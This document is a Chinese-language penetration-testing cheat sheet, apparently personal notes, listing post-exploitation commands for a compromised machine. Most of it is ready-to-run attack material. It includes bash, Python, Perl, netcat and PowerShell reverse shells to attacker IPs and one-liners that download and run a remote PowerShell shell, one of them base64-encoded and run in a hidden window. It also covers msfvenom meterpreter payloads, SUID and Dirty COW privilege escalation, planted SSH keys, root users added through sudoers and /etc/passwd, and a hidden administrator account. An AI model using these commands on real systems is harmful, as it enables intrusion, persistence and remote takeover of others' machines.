获取shell后

  • 开启清屏: export TERM=screen # 赋值xterm也可以
  • 查看sudo权限: sudo -l
  • 尝试生成公钥文件到用户目录下的 .ssh 下: echo "xxxx" > /home/p1n93r/.ssh/authorized_keys ,然后就可以免密ssh登录了: ssh p1n93r@192.168.189.5 -i id_rsa
  • 创建用户且赋予root权限(已拿到root): adduser p1n93r ,然后 passwd p1n93r ,然后赋予sudo权限 echo "p1n93r ALL=(ALL:ALL) ALL" >> /etc/sudoers
  • 使用python获取一个完全交互式的tty: python -c 'import pty;pty.spawn("/bin/bash")'
  • 查看任务计划: cat /etc/crontab
  • 查看内核版本: uname -r

常用工具

  • 发现主机: nmap -sn 192.168.189.0/24
  • 扫描主机: nmap -A -sS -p- 192.168.189.5
  • 生成字典: crunch 10 10 abcd -o pwd.txt
  • 爆破密码: john --wordlist=/usr/share/wordlist/rockyou.txt encry
  • Java降级编译: javac -source 1.7 -target 1.7 Exploit.java

反弹shell

(1)反向连接

攻击机开启监听: nc -lvnp 7777

靶机执行命令:

#bash反弹
bash -i >& /dev/tcp/192.168.10.27/4444 0>&1
#python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#Perl反弹
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")

(2)正向连接

攻击机: nc -lvnp 7777

靶机: nc [ip] 7777 -e /bin/bash

(3)windows反弹shell

攻击机: nc -lvnp 7777

靶机: powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [ip] -Port 9999"

(4)powershell base64

$fileContent = "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp  -Reverse -IPAddress 49.234.105.98 -Port 9999"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand

# 靶机执行如下命令
powershell -nop -noni -w hidden -exec bypass -enc [Base64Str]

(5)msfvenom生成反弹powershell并执行

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=49.xxx.xxx.xxx lport=4578 -f psh-reflection -o shell.ps1

// 靶机执行
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://49.xxx.xxx.xxx:8080/shell.ps1')"

提权

SUID提权

以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

工具扫描

  • LinEnum:https://github.com/rebootuser/LinEnum
  • linuxprivchecker:https://github.com/sleventyeleven/linuxprivchecker

gcc编译

例如脏牛提权,直接gcc编译会失败,提示缺少库,所以可以使用如下方式编译:

gcc -pthread dirty.c -o dirty -lcrypt

一些场景

端口敲门

发现存在这个文件: /etc/knockd.conf 文件,就是配置了端口敲门策略,需要根据其配置来进行端口敲击才能连接响应的端口,例如如下knockd.conf配置:

[options]
	UseSyslog

[openSSH]
	sequence    = 7469,8475,9842
	seq_timeout = 25
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 9842,8475,7469
	seq_timeout = 25
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

代表需要依次敲击7469、8475和9842端口,才能开放SSH服务,所以在攻击机上安装knockd工具进行敲击即可:

sudo apt-get install knockd
knockd 192.168.189.10 7469 8475 9842

利用 /etc/passwd 提权

首先生成加密后的密码:

perl -le 'print crypt("your_password","salt")'

然后将加密后的密码和其他配置添加到 /etc/passwd (前提是有编辑权限咯)下:

echo "p1n93r:xxxx:0:0:root:/root:/bin/bash"
su p1n93r

开启windows rdp

  • 设置远程桌面端口:reg add “HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /t REG_DWORD /v portnumber /d 3389 /f
  • 开启远程桌面:wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1
  • 检查端口状态:netstat -an|find “3389”
  • 关闭远程桌面:wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 0
  • 防火墙放行3389端口:netsh advfirewall firewall add rule name=“无所谓” dir=in protocol=tcp localport=3389 action=allow

添加简单影子用户

net user pinger$ Pingerp1n93r /add
net localgroup administrators pinger$ /add